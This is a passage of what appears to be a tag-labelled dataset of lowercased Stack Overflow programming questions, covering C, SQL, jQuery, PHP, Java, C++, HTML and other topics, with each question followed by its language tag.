none; }  #footer { background: #4d1516; margin-top: -200px; z-index: 1; position:relative; padding-top: 220px; padding-bottom: 100px; color:#fff; font-weight:bolder; }  div#footer ul li a{ color : #115eac; background-color : transparent; text-decoration : none; color:#fff; }  div#footer ul li a:hover{ text-decoration : underline; } .footerbullets{ padding:3px 0 3px 25px; background-image:url(http://www.gdisinc.com/barker/images/menubar/footer_bullet.jpg); background-repeat:no-repeat; } .footerbullets a:link {    color:#fff;  } div#footer ul li.footerbullets a:hover {     color:#ff0;  }   /* footer column sizes. */ #footer ul.left { width: 20%;  }   #footer ul.center { width: 40%;  }   #footer ul.right { float: left; width: 37%;   } </code></pre>,css
reading from user in c and where to store  i m asked to read from user till a significance sign  and put it in character string. i should not ask what lines are expected nor waste space memory. it s preferable i don t need to use the built in packages in c. i m learning from the scratch. so ..    1st quesiton: should i use pointer or array of character <br> note that i don t know how long i m gonna read and i can t waste memory.    here is what i did:   <pre><code>int main() {   char s[100];   int line = 0;   int i = 0;   printf( type  );   printf( \n );   scanf( %s   &amp;s[i++]);    while (s[i] !=  000 ) {     if (s[i] ==  \n ) line++;     i++;     scanf( %s   &amp;s[i]);   } //end while   s[i] =  \0 ;   printf( \n );   printf( lines %d   line);   printf( \n );   int j;   while (s[j] !=  \0 ) {     printf( %s   s[j]);     j++;   }   return 0; } //end main </code></pre>,c
html hyperlink with hash in path address  i have create a outlook e-mail with a html body.    in the body of the e-mail i have inserted a hyperlink to a file. when clicking the link however it does not load the file.    i believe the issues is that the path where the file is saved contains a hash (#) in the folder name. i do not have permission to change the folder name. is there anyway to get round this    <pre><code>&lt;td&gt;&lt;a href= file:///h:myteamfolder/folder#/ &gt; mylinkname &lt;/td&gt;  </code></pre>,html
is the order of elements on a c# list<t> deterministic   i ve always thought otherwise  but recently i had the need to know:     if i add elements to a list in a certain order  am i guaranteed to find then always on the same order     thanks!,c#
concatenate may rows into a single text string having 2 tables  good morning. i would like to concatenate may rows into a single text string having 2 tables    <strong>table1</strong>   <pre><code>id   use 1    a 1    a 1    b 2    a 2    b 2    c 2    b </code></pre>   <strong>table2</strong>   <pre><code>id   cod_sig 1    nat 2    nono </code></pre>   i would like to have a result like this:   <pre><code>cod_sig  uso nat      a  b nono     a  b  c </code></pre>   can anyone help me  thanks.,sql
bundler create an update folder when i do bundle install  i haven t upgrade my gems for a long time  just today  i decided to run a upgrade. i probably made a mistake at first running bundle install update  which didn t do anything. then i ran bundle update  and it created a whole new folder called update in my rails directory containing all the gems  and it seems like my rails project is no longer linked to my rvm gem directory because if i remove the update folder it fuzzes about not being able to find gems. i m just wondering if this is the new behavior to rails or it s because i did something wrong. thanks!    edit: the output of bundle config is: settings are listed in order of priority. the top value will be used.    path   set for your local app (/users/x/dev/tasker/.bundle/config):  update     disable_shared_gems   set for your local app (/users/x/dev/tasker/.bundle/config):  1     this seems to be the problem. so how should i revert it to its state before by linking to the rvm gem directory  and is the problem caused by my  bundle install update  command  thanks!    edit again: thanks for the help guys. after finding out the root issue of my problem  i found this solution: bundle install --system at <a href= https://stackoverflow.com/questions/5862174/how-can-i-fix-an-accidental-sudo-bundle-install-dir-name >how can i fix an accidental &#39;sudo bundle install dir_name&#39; </a>. now the problem is solved. thanks!,ruby-on-rails
mass changing mysql values  well in my mysql database i have about 1.6 million entries that look something like this    <code>&lt;image src=http://site1.com/img.jpg border=0&gt;</code>    how can i change them to    <code>&lt;image src=http://site2.com/img.jpg border=0&gt;</code>    in the most efficient manner     thanks,mysql
how to serve files from outside public directory   whenever i try to serve content (via send_file or as the src of an iframe) from a directory outside of  public  via the asset s relative or absolute path i get an error stating either the asset could not be found or  c  (as in c:) is not a valid protocol. does anyone know why i m facing these problems and how to solve them without using symlink     thanks.,ruby-on-rails
sql query between strings representing version numbers  i have a sql query that goes like this:   <pre><code>select v from v.rsversion between  minver  and  maxver ; </code></pre>   where the <code>version</code> is expressed as a string of format <code>x.y.z</code>    this will return fine all existing versions between 0.2.0 and 0.2.9  but will return nothing if the range is 0.2.0 and 0.2.10    is there a way to make this work,sql
jquery data increment shorthand  generally we can increment values by doing <code>i++</code> for any js variable.     can i do something similar to this jquery code:    <pre><code>$this.data( numofoccurrences   $this.data( numofoccurrences ) + 1 ); </code></pre>   this doesn t work:   <pre><code>$this.data( numofoccurrences )++;  </code></pre>,jquery
image slider with multiple images  i have multiple images in html file. i want to show only 5 images first. then click on next arrow will display next 5 images and fadeout the original ones and so on until all the images get exhausted. similarly for prev arrow will display prev 5 images and so on until we reach to first image.   <pre><code>&lt;ul class= thumbs noscript &gt;  &lt;li&gt;     &lt;a class= thumb  id =  26 &gt;         &lt;img src= images/1.png  alt= title #0  width= 75  height= 75 /&gt;     &lt;/a&gt;  &lt;/li&gt;  &lt;li&gt;     &lt;a class= thumb  id =  28 &gt;         &lt;img src= images/2.png  alt= title #0  width= 75  height= 75 /&gt;     &lt;/a&gt;  &lt;/li&gt;  &lt;li&gt;     &lt;a class= thumb  id =  25 &gt;         &lt;img src= images/3.png  alt= title #0  width= 75  height= 75 /&gt;     &lt;/a&gt;  &lt;/li&gt;  &lt;li&gt;     &lt;a class= thumb  id =  3000 &gt;         &lt;img src= images/4.png  alt= rice  width= 75  height= 75 /&gt;     &lt;/a&gt;  &lt;/li&gt;  &lt;li&gt;     &lt;a class= thumb  id =  1 &gt;         &lt;img src= images/5.jpg  alt= pickles and sauces  width= 75  height= 75 /&gt;     &lt;/a&gt;  &lt;/li&gt;  &lt;li&gt;     &lt;a class= thumb  id =  53 &gt;         &lt;img src= images/2.jpg  alt= tea and coffee  width= 75  height= 75 /&gt;     &lt;/a&gt; &lt;/li&gt; &lt;li&gt;     &lt;a class= thumb  id =  3 &gt;         &lt;img src= images/6.png  alt= title #0  width= 75  height= 75 /&gt;     &lt;/a&gt;  &lt;/li&gt;  &lt;li&gt;     &lt;a class= thumb  id =  30 &gt;         &lt;img src= images/7.png  alt= title #0  width= 75  height= 75 /&gt;     &lt;/a&gt;  &lt;/li&gt;  &lt;li&gt;     &lt;a class= thumb  id =  20 &gt;         &lt;img src= images/8.png  alt= title #0  width= 75  height= 75 /&gt;     &lt;/a&gt;  &lt;/li&gt;  &lt;li&gt;     &lt;a class= thumb  id =  56 &gt;         &lt;img src= images/9.png  alt= detergent powder  width= 75  height= 75 /&gt;     &lt;/a&gt;  &lt;/li&gt;  &lt;li&gt;     &lt;a class= thumb  id =  27 &gt;         &lt;img src= images/10.png  alt= title #0  width= 75  height= 75 /&gt;     &lt;/a&gt;  &lt;/li&gt; &lt;ul&gt; </code></pre>   there are multiple resources for one image at a time. but didn t any with multiple images. if will be very helpful if someone can share the thoughts.,jquery
base directory change issue  in my app  i m using an ajax call to retrieve information  which requires the inclusion of a db_connect.php file. db_connect.php requires other files for it to work.    if i include db_connect.php from the ajax file  naturally  errors are returned from includes within the db_connect.php file because db_connect.php s includes are relative to the base directory of my application.    how can i change the working directory to the base directory of the application  so the included files will function properly     what i ve tried is using the <code>chdir</code> function:   <pre><code>echo getcwd() .  &lt;br/&gt; ; chdir( ../../ ); echo getcwd(); </code></pre>   this correctly outputs:   <pre><code>/my/webserver/app/lib/ajax   /my/webserver/app </code></pre>   however  the include errors act like i haven t just changed the directory:   <blockquote>    warning: include_once(functions/clean_string.func.php) [function.include-once]: failed to open stream: no such file or directory in my/webserver/app/lib/ajax/ajax.php on line 8  </blockquote>   what am i doing wrong,php
combine hasnextint and value greater/less than x checks  using the following method:   <pre><code>public void localsetvalue(string userinput)  {     system.out.println( enter new value: );     while (!console.hasnextint()){             console.next();             system.out.println( must be a number. );         }         tempint = console.nextint();         console.nextline();        while (tempint &lt;0) {          system.out.println( value must be positive. );         tempint = console.nextint();     }     setspecificvalue(userinput.tolowercase()  tempint); } </code></pre>   the first while loop checks that the user enters a valid int; this works fine.    the second while loop checks that the user enters a positive number; this also works but at this point they can enter a letter and it ll throw out the exception.    still new to java  is there a way to combine these two checks,java
this.getattribute is not a function  i am new to javascript. i want to write a javascript code that when i click a button  the alert window pops up and writes data-message attribute. here is my code:   <pre><code>&lt;button type= button  data-message= a1  onclick= pop() &gt;click&lt;/button&gt;  &lt;script&gt;   function pop() {     alert(this.getattribute( data-message ));   } &lt;/script&gt; </code></pre>   but i get the error   <pre><code>typeerror: this.getattribute is not a function alert(this.getattribute( data-message )); </code></pre>   i have two questions:   <ol> <li> what is wrong  </li> <li> how can i debug this  how can i find out what <code>this</code> refers to  i am using firebug. </li> </ol>   thanks a lot.,javascript
php: adding status 2  anyone can help me with this  i have here status 0 and status 1 now     <strong>status 0</strong>: not my friend    <strong>status 1</strong>: my friend    and i need    <strong>status 2</strong>: added to friend list (we send friend request but row status is 0)    please check query bellow...   <pre><code>&lt;   $query =  select *              from friends             where (idusers={$_session[userid]}                   and idusers_friend={$row[id]})                   and status= 1  or (idusers={$row[id]}                   and idusers_friend={$_session[userid]}                   and status= 1  ) ; $result = mysql_query($query); $check_exist = mysql_num_rows($result); if($check_exist &gt;= 1) {  &gt;   status 1 - send a messsages (friend)  &lt;  } elseif($check_exist == 0) {  &gt;    status 0 - add as frind (not friend)  &lt;  }  &gt; </code></pre>   what i need now  i need to have <strong>status 2</strong>   example above you can see im make now if users is my frind i can send a messages to this user  is not in my frind list i have button to add it  but when i click to add as frind im send request (something like on facebook) and than this is status 2  waiting for accept.    <em>example:</em> if i have this user as my frind status in database is 1  is not in my list database is empty  if im send request row status is 0 and whan 2nd user accept request status will be changed to 1.,php
no visible @interface for uialertview declears the selector  it says   <blockquote>    no visible @interface for uialertview declears the selector    initwithttile:message....  </blockquote>   this is what i have-   <pre><code>uialertview *alert = [[uialertview alloc] initwithtitle:@ error  message:[nsstring stringwithformat:@ error %@  here is your error   [error description]] delegate: nil cancelbuttontitle:@ cancel  otherbuttontitles:nil  nil]; </code></pre>,ios
printf short in hex with uppercase in c  i m trying to printf unsigned short in hex  e.g. 0xffff. the problem is that i want a lowercase x not x. i have no idea how to do this.   <pre><code>fprintf(c  %#06x \n\t   pixel[i])); </code></pre>,c
converting double into ascii in c  i hope this isn t a stupid question  but say i want to create a char* in c called  hello world   using only a double. i want to do this by abusing type confusion  so that in one file i might have something like this:   <pre><code>char test[12];     int main() {     printf( %s\n   test); } </code></pre>   and in the other file i d have this:   <pre><code>double test = some_random_double; </code></pre>   so my issue is therefore in picking a double that converts into the ascii string  hello world .    are there any suggestions  i thought i would go backwards and convert the ascii string into hex or binary  and then try converting said hex/binary into a float format  but i can t figure out how to do so.,c
error java.sql.sqlexception: parameter index out of range  i still get error that i don t provide value for 1 parameter and i don t have idea what is wrong.   <pre><code>ps( insert into slide (presentation_id  duration  position  type) values (          )      ).set(this.getid()).set(slide.getduration()).set(slide.getposition()).set(slide.gettype().ordinal()).update(); </code></pre>   in table i only do not provide value for one column for which autoincrement is set.    everything seems alright for me but please give any advice what might be wrong.,java
how to set #(area) links in html   on my site  i have a blog.    for post 1 i want to be able to type example.com/blog.html#post-1 to get to post 1 for post 76 i want to type example.com/blog.html#post-76 to get to it.    how do i do that,html
input not working with step and min attributes in my form  i have an input field that will input a whole number like 1 2 3 4 5 etc.. no decimals and no negative numbers.    i have this but i can still enter in decimal and negative number    <pre><code>&lt;input name= quantity  type= number  step= 1  min= 0  class= form-control &gt; </code></pre>   am i supposed to do some validation on the js side or something to see if the element attribute conditions are met     p.s. one thing to note. i m not calling any submit on the form. i m clicking a button  serializing the form and passing it to a post call via js.,html
i can t get the background to fade in  i ve made a help text box that opens on click and a separate div for a transparent background to surround it. i want the background to fade in when you open this.   <pre><code>.black_overlay {                        display: none;     position: absolute;     top: 0%;     left: 0%;     width: 100%;     height: 100%;     transition: all 1s ease;     background-color: black;     z-index:1001;     -moz-opacity: 0.8;     opacity:.80;     filter: alpha(opacity=80); } </code></pre>   this code just doesn t want to work though  any suggestions,css
can`t use delay/sleep functions in c  i am trying to use delay/sleep function in my code  but it gives me the same error every time:  undefined reference to <code>whateveriput</code>     by <code>whateveriput</code> i mean sleep/sleep/delay/delay.    i included both dos.h and time.h libraries (next to my normal stdio.h and stdlib.h libraries) still nothing.    i searched the web before i posted  but i just can`t find the solution.    platform: codeblocks 13.12 with gnu gcc compiler on windows 8.1   <h3>code</h3>  <pre><code>#include&lt;dos.h&gt; #include&lt;stdio.h&gt; #include&lt;stdlib.h&gt; #include&lt;time.h&gt;  int main() {     for(;;){         puts( bla );         sleep(1000);     }     return 0; } </code></pre>,c
setting the ui labels of nstextfield dynamically in cocoa  i need to set the labels of the ui dyanmically.. i want be read the text from an xml file and would like to set the text to the controls in the nib.    i guess i can recognise the conrol by using the tag attribute of the control.    now i would like to get all the objects in the window(controls in the nib) into an array     please suggest me on this.,objective-c
jquery  cannot get the each li in div  i have multiple <code>&lt;div class= ms-drop &gt;</code> with many <code>&lt;li&gt;</code> items inside them. i am trying reach each <code>&lt;li&gt;</code> item.    i was trying several ways  this is what i got:   <pre><code> $(function() {        var counter = 0;         $( .ms-drop ).each(function() { // loop each div             counter++;             $(this).attr( id   ms-drop-  + counter); // here i am giving each div a it s own id &gt; $(this) did not work!             var id = $(this).attr( id );              $( #ms-drop-  + id +   il ).each(function() {                 console.log( li ); // it does not reach here !             });                                 });  }); </code></pre>   <strong>html</strong>   <pre><code>&lt;div class= ms-drop bottom  style= display: block; &gt;      &lt;ul style= max-height: 250px; &gt;                    &lt;li class=    style= false &gt;&lt;label class=  &gt;&lt;input type= checkbox  data-name= selectitem  value= 60 &gt;&lt;span&gt;abc&lt;/span&gt;&lt;/label&gt;&lt;/li&gt;         &lt;li class=    style= false &gt;&lt;label class=  &gt;&lt;input type= checkbox  data-name= selectitem  value= 38 &gt;&lt;span&gt;def&lt;/span&gt;&lt;/label&gt;&lt;/li&gt;         &lt;li class=    style= false &gt;&lt;label class=  &gt;&lt;input type= checkbox  data-name= selectitem  value= 45 &gt;&lt;span&gt;ghi&lt;/span&gt;&lt;/label&gt;&lt;/li&gt;         &lt;li class=    style= false &gt;&lt;label class=  &gt;&lt;input type= checkbox  data-name= selectitem  value= 2863 &gt;&lt;span&gt;jkl&lt;/span&gt;&lt;/label&gt;&lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt; </code></pre>             <br>             abc</li>             def</li>             ghi</li>             jkl</li>,jquery
angular compare password directive  i have this form that has a password filed and a confirmpassword field. i want to compare the password field against the confirmpassword field. i m having a little of a problem doing so  because i have an ng-show that should only display a  passwords do not match  error when the password don t match but at the moment the messages always shows.   <pre><code>    &lt;label class= control-label &gt;password *   &lt;div class= row m-b-15 &gt;     &lt;div class= col-md-12 &gt;       &lt;input type= text  placeholder= password  name= password  required=   ng-model= user.password  class= form-control /&gt;     &lt;/div&gt;   &lt;/div&gt;   &lt;label class= control-label &gt;re-enter password *&lt;/label&gt;   &lt;div class= row m-b-15 &gt;     &lt;div class= col-md-12 &gt;       &lt;input type= text  placeholder= re-enter password  name= confirmpassword  required=   ng-model= user.confirmpassword  ka-compare-to= user.password  class= form-control /&gt;       &lt;div ng-show= signupform.confirmpassword.$error  class= form-group has-error &gt;         &lt;label class= control-label &gt;passwords do not match&lt;/label&gt;       &lt;/div&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/label&gt;  .directive( kacompareto   function(){      return {         restrict:  a           require:  ngmodel           scope: {             othermodelvalue:  =kacompareto          }          link: function(scope  element  attributes  ngmodel){              ngmodel.$validators.kacompareto = function(modelvalue){                  return modelvalue === scope.othermodelvalue;             };              scope.$watch( othermodelvalue   function() {                  ngmodel.$validate();             });          }      }  }) </code></pre>   thanks in advance.,angularjs
decimal.tryparse() drops leading  1   short and sweet version:    on one machine out of around a hundred test machines decimal.tryparse() is converting  1.01  to 0.01   <hr>   okay  this is going to sound crazy but bear with me...    we have a client applications that communicates with a webservice through json  and that service returns a decimal value as a string so we store it as a string in our model object:   <pre><code>[datamember(name =  value )] public string value { get; set; } </code></pre>   when we display that value on screen it is formatted to a specific number of decimal places. so the process we use is string -> decimal then decimal -> string.    the application is currently undergoing final testing and is running on more than 100 machines  where this all works fine. however on <em>one</em> machine if the decimal value has a leading  1  then it is replaced by a zero. i added simple logging to the code so it looks like this:   <pre><code>log( original string value: {0}   value); decimal val; if (decimal.tryparse(value  out val)) {     log( parsed decimal value: {0}   val);     string output = val.tostring(format  cultureinfo.invariantculture.numberformat);     log( formatted string value: {0}   output);     return output; } </code></pre>   on my machine - any every other client machine - the logfile output is:   <blockquote>   <ul>   <li>original string value: 1.010000</li>   <li>parsed decimal value: 1.010000</li>   <li>formatted string value: 1.01</li>   </ul> </blockquote>   on the defective machine the output is:   <blockquote>   <ul>   <li>original string value: 1.010000</li>   <li>parsed decimal value: 0.010000</li>   <li>formatted string value: 0.01</li>   </ul> </blockquote>   so it would appear that the decimal.tryparse method is at fault.    things we ve tried:   <ul> <li>uninstalling and reinstalling the client application</li> <li>uninstalling and reinstalling .net 3.5 sp1</li> <li>comparing the defective machine s regional settings for numbers (using english (united kingdom)) to those of a working machine - no differences.</li> </ul>   has anyone seen anything like this or has any suggestions  i m quickly running out of ideas...   <hr>   while i was typing this some more info came in: passing a string value of  10000  to convert.toint32() returns 0  so that also seems to drop the leading 1.   <hr>   further tests based on comments:   <ul> <li>1.01 -> 0.01</li> <li>111.01 -> 11.01</li> <li>123.01 -> 23.01</li> <li>231.01 -> 231.01</li> <li>01.01 -> 1.01</li> </ul>   so it would appear that it only affects 1s and only if they are the first character of the string. very odd  but at least it s consistent.,.net
detecting application launch event  i am creating framework and in that framework i want to detect the application launch event and want to perform some operation.    since  its a framework i cant use applicationdidfinishlaunching: method of uiapplication class.    is there a way to do this in ios,ios
getting app version is crash  i am having this code to get the app version and save it to <code>nsdictionary</code> :   <pre><code>    nsstring *version=[nsstring stringwithformat:@ %@  [[nsbundle mainbundle] objectforinfodictionarykey:@ cfbundleversion ]];      nslog(@ version%@  version); //prints the right thing     nsmutabledictionary *dic;     [dic setvalue:version forkey:@ version ]; //crash      [dic setvalue:errors forkey:@ errors ]; //work </code></pre>   the error i get on crash is :   <pre><code>setvalue:forundefinedkey:]: this class is not key value coding-compliant for the key version </code></pre>   can you help my identify this error      thanks a lot .,objective-c
how to create object in ios similar to javascript  how can i create an object which is similar in javascript    <pre><code>    var writers = {             publicaccess: false              ids: []     }; </code></pre>   please help,ios
sending variables to a webpage without using querystring  i have an application that can launch internet explorer to a specific website.  the problem is  if you include a question mark within the url  it transforms it into %20;  for example  if i tell it to go to:  <a href= http://www.domain.com/default.aspx id=572  rel= nofollow >http://www.domain.com/default.aspx id=572</a> when internet explorer opens  the webpage is changed to <a href= http://www.domain.com/default.aspx%20;id=572  rel= nofollow >http://www.domain.com/default.aspx%20;id=572</a> and asp.net is unable to render the page when it looks like that.    i can t do anything to change the application  and as far as i can tell  there is no escape character.    is there any other way i can pass a variable to asp.net other than with a querystring from a third party application,asp.net
expected expression error (about string) in xcode ios 5 <pre><code>+(nsarray *)rankstrings {     return @[@    @ a  @ 2  @ 3  ... @ 10  @ j  @ q  @ k ];             } </code></pre>   the code has error at  ...    expected expression error    but i don not know where the code is wrong    i hope the one who could tell me the reason.     thanks,objective-c
"having drop down colored backgrounds persist once selected  <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;select&gt;
     &lt;option value= apple  style= background: red &gt;apple&lt;/option&gt;
     &lt;option value= banana  style= background: yellow &gt;banana&lt;/option&gt;
     &lt;option value= pear  style= background: green &gt;pear&lt;/option&gt;
 &lt;/select&gt;</code></pre>
 </div>
 </div>
     so i have an html drop down with options that have background colors. however  once i select one of these options from the list  the background color goes away...    is there a way to make it so once an option is selected  the background color persists",html
a first chance exception of type  system.threading.threadabortexception  occurred in mscorlib.dll  i am working on an asp.net application.. when i try to compile and run the application; it runs successfully.    but when i try to debug the application it gives me error at any point -    a first chance exception of type  system.threading.threadabortexception  occurred in mscorlib.dll    it doesnt give error at any specific code line.. it gives this error at any code of line (not sure).. and then web page display -  server application unavailable  error.    even when i try to parse/execute some statement in immediate window / quick watch - it gives me above error..    for example  i loaded an xml document (of more than 10000 lines) in xelement and when i try to check some attribute value thru xpath as xelementobj.xpathselectelement( /asdf/asd/wqer/xyz ).. it gives above error.. (not all the time but randomly).    anybody having any idea on this.. please help.,.net
sql is not giving output  the below sql is not giving any output. i think something is wrong with the sql. please help   <pre><code>select *   from customer_table a  where     dept_no =  234         and (   exists                   (select cust_name                      from s_cart b                     where item_count &gt; 30 and b.cust_name = a.cust_name)             or exists                   (select cust_name                      from spc_cust c                     where c.cust_name = b.cust_name)) </code></pre>   sorry..the above one is not the original query. my requirement is i need to give two conditions inside the exists like  exists (condition 1 or condition 2) . so it needs give true value if either of the condition is true,sql
2d array help c++  ok so heres the scoop: i am building a minesweeper style program for my c++ class  i m using a 2d array to create the board and a second 2d array to store guesses. for each value in the board array  i run a random number gen and assign it a value between 0 and 99. each value in the array is considered a bomb if its value is greater than 85. the program accepts user input and determines if it is a bomb. if it is not the corresponding bool array (isguessed) position is changed to true. this bool array is then sent to the redraw function to be redrawn. all false bools are displayed as     and all true are displayed as  x . however  when i redraw  it changes multiple locations in the array to an x with only one guess. my thought is that the board is not drawn in connection with the array positions. could someone help. just to be clear  i m trying to understand why the function redraw is not working properly. here is all my code.    <pre><code>#include &lt;iostream&gt; #include &lt;ctime&gt; #include &lt;cstdlib&gt;  using namespace std;  //function prototypes   void redraw (bool guessed [] [10]  int rows  int columns); void newboard (int rows  int columns);   int main(int argc  const char * argv[]) {  //declare variables   const int rows = 10;   const int columns = 10; int board [rows][columns]; bool wasguessed [10] [10]; bool playagain = true; char newgame;  int rowguess  columnguess  numofbombs = 0  score = 0;  bool bomb = false; srand((unsigned) time(0));   // welcome user  give direction  cout&lt;&lt; \n\n\t\twelcome to matt s minesweeper\n\n ;  while (playagain) {     //function to randomly populate array elements     for (int row = 0; row &lt; rows; row++) {         for (int column = 0; column &lt; columns; column++) {             board [row] [column] = rand() % 100;              if (board [row] [column] &gt;= 85) {  //counter for bombs                 numofbombs++;         }     } }  // create a new display board newboard(10  10);  //begin game cout&lt;&lt; \ntotal bombs in this game:  &lt;&lt;numofbombs;   // process guesses do {     cout&lt;&lt; \nplease input your row &amp; column guess coordinate (i.e. 3 2):  ;     cin&gt;&gt;rowguess&gt;&gt;columnguess;      if (board [rowguess] [columnguess] &gt;= 85) {         bomb = true;         cout&lt;&lt; \n\n\t\txxxxxx bomb hit xxxxxxx\n\t\t\tgame over.\n\n ;         cout&lt;&lt; your score score:  &lt;&lt;score;         cout&lt;&lt; \n\n play again (y/n): ;         cin&gt;&gt;newgame;         switch (newgame) {             case  y :                 cout&lt;&lt; \n\n ;                 playagain = true;                 break;             default:                 playagain = false;                 break;          }     } else {         wasguessed [rowguess] [columnguess] = true;         score++;          redraw(wasguessed  10  10);     } } while (!bomb);  }   return 0; }     void redraw (bool guessed [] [10]  int rows  int columns) {     // format row and column headers     cout&lt;&lt;   0   1   2   3   4   5   6   7   8  9\n ;     cout&lt;&lt; 0 ; for (int i = 0; i &lt; rows; i++) {     for (int j = 0; j &lt; columns; j++) {          if ((j+1) % 10 == 0)              if ((i+1) == 10) {                 if (guessed [i] [j])                      cout&lt;&lt; x  &lt;&lt;  \n ;                 else                      cout&lt;&lt;    &lt;&lt;  \n ;             }else{                 if (guessed [i] [j])                      cout&lt;&lt; x  &lt;&lt;  \n &lt;&lt;i+1;                 else                                     cout&lt;&lt;    &lt;&lt;  \n &lt;&lt;i+1;             }         if ((j+1) % 10 != 0)             if (guessed [j] [i])                  cout&lt;&lt;  x &lt;&lt;    ;             else                 cout&lt;&lt;    &lt;&lt;    ;       } }  } void newboard (int rows  int columns) {  cout&lt;&lt;   0   1   2   3   4   5   6   7   8  9\n ; cout&lt;&lt; 0 ; for (int i = 0; i &lt; rows; i++) {     for (int j = 0; j &lt; columns; j++) {          if ((j+1) % 10 == 0)              if ((i+1) == 10) {                 cout&lt;&lt;    &lt;&lt;  \n ;             }else                 cout&lt;&lt;    &lt;&lt;  \n &lt;&lt;i+1;         if ((j+1) % 10 != 0)             cout&lt;&lt;    &lt;&lt;    ;     }  }   } </code></pre>   thanks for your help guys!,c++
jquery - select second word and warp the text  i have a menu list like this:   <pre><code>&lt;ul&gt; &lt;li class= but &gt;&lt;a href= # &gt;one word&lt;small&gt;other words here&lt;/small&gt;&lt;/a&gt;&lt;/li&gt; &lt;li class= but &gt;&lt;a href= # &gt;one word&lt;small&gt;other words here&lt;/small&gt;&lt;/a&gt;&lt;/li&gt; &lt;li class= but &gt;&lt;a href= # &gt;one word&lt;small&gt;other words here&lt;/small&gt;&lt;/a&gt;&lt;/li&gt; &lt;li class= but &gt;&lt;a href= # &gt;one word&lt;small&gt;other words here&lt;/small&gt;&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   how can i automatically select the second word from li.but and warp it into a span like this:   <pre><code>&lt;ul&gt; &lt;li class= but &gt;&lt;a href= # &gt;one &lt;span&gt;word&lt;span&gt;&lt;small&gt;other words here&lt;/small&gt;&lt;/a&gt;&lt;/li&gt; &lt;li class= but &gt;&lt;a href= # &gt;one &lt;span&gt;word&lt;span&gt;&lt;small&gt;other words here&lt;/small&gt;&lt;/a&gt;&lt;/li&gt; &lt;li class= but &gt;&lt;a href= # &gt;one &lt;span&gt;word&lt;span&gt;&lt;small&gt;other words here&lt;/small&gt;&lt;/a&gt;&lt;/li&gt; &lt;li class= but &gt;&lt;a href= # &gt;one &lt;span&gt;word&lt;span&gt;&lt;small&gt;other words here&lt;/small&gt;&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   thank you very much!,jquery
"how to use <br> multiple times in html  this is my code:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;html&gt;
 hello
 &lt;br&gt;
 &lt;br&gt;
 &lt;br&gt;
 &lt;br&gt;
 &lt;br&gt;
 &lt;br&gt;
 &lt;br&gt;
 &lt;br&gt;
 &lt;br&gt;
 &lt;br&gt;
 good bye!
 &lt;/html&gt;</code></pre>
 </div>
 </div>
     is there an easier way instead of using 10 <br> tags",html
project euler problem 12 - c++  i m working on problem 12 regarding the first triangle number with 500 divisors.  i tried to brute force the solution.  i get 300 divisors in about 35 seconds and can t get 400 within 10 minutes.  i m going to alter my solution to use the prime factor method but i ve seen now that people are still getting this solution with brute force in under a minute.    can you please critique my code and tell me if i m missing something that is making this horribly inefficient    <pre><code>unsigned long long trianglenumberdivisors(int divisortarget) {      unsigned long long trianglenum=1;          unsigned long long currentnum=2;      int numofdivisors=0;        numofdivisors=numofdivisors(trianglenum);      while(numofdivisors&lt;divisortarget)      {          trianglenum+=currentnum;          currentnum++;          numofdivisors=numofdivisors(trianglenum);      }       return trianglenum; }   int numofdivisors(unsigned long long dividend) {     int numdivisors=0;     set&lt;unsigned long long&gt; divisors;     set&lt;unsigned long long&gt;::iterator it;      for(unsigned long long index=1; index&lt;=dividend/2; index++)     {         if(dividend%index==0)         {             divisors.insert(index);             numdivisors++;             it=divisors.find(dividend/index);             if(it==divisors.end())             {                 divisors.insert(dividend/index);                 numdivisors++;             }               /*for some reason not checking for dups above and  just checking for how many items are in the set at the end is slower              for(it=divisors.begin();it!=divisors.end();it++)              {                    numdivisors++;              }                   */         }     }      return numdivisors; }  int main() {     cout&lt;&lt;trianglenumberdivisors(500)&lt;&lt;endl;      return 0; } </code></pre>   update: got it now  thanks.  changed to just check up to square root of the number  and did an additional check to see if it was a perfect square.  this allowed me to remove the set entirely as well. 500 divisors ran in 12 seconds.,c++
how to insert <!--nextpage--> inside php if   i would like to have a page break after the entry 90. i tried this. but it is not working. what is the error in this code       <pre><code>&lt; php if ($entry[0] == 90): echo &lt;!--nextpage--&gt;;  &gt; </code></pre>,html
is there any valid python 3 code that is syntactically invalid in python 2   just wondering  since <code>2to3</code> seems to be popular for doing python code transformations. will it break if i try to use it on python 3 code  can t find any references to this being ok or not.,python
including headers from /usr/local/include and libraries from /usr/local/lib  i have just installed glfw on os x 10.9. the headers were installed to <code>/usr/local/include</code> and the library was installed in <code>/usr/local/lib</code>.     i am wondering what else i would have to do to get my c++ program to include the headers like <code>#include  glfw/glfw3.h </code> rather than specifying the whole path like <code>#include  usr/local/include/glfw/glfw3.h </code>.     same thing goes for the library because as of now i can t even link the library using <code>-lglfw3</code>. thanks in advance.,c++
finding odd/even numbers  i have been given this sample code for some exercises  and it shows how to find whether an integer is odd or even.    <pre><code>int x = 4;      if ( (x &amp; 1) == 0 )       {         system.out.println( even );     }     else     {         system.out.println( odd );     } </code></pre>   but i dont understand why you do   x &amp; 1  . what s the purpose of that,java
why is java allowing this to compile and what is it interpreting multiple + signs as in this case   wasn t sure exactly how to word the question  but i noticed something strange while constructing a date. i found that if i construct a date like this   <pre><code>new date(+ 1) </code></pre>   it compiled just fine  and so did   <pre><code>new date(+ + + 1) </code></pre>   if i execute the following  the output is 1   <pre><code>public static void main(string[] args) {     int x = 1;     system.out.println(+ + + + x); } </code></pre>   can anyone explain what it is that the jvm thinks i am doing,java
"split an html table cell into two columns  table has no header  i saw some other examples on here on how to do this  but they all just used <code>colspan= 2 </code> in the <code>&lt;th&gt;</code> html tag. in my case  i don t have any headers  so i m trying to figure out how i d still do this.    any suggestions would be greatly appreciated. here s a quick  small example of what i m trying to do:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;table border= 1 &gt;
   &lt;tbody&gt;
     &lt;tr&gt;
       &lt;td class= td-modal &gt;name:&lt;/td&gt;
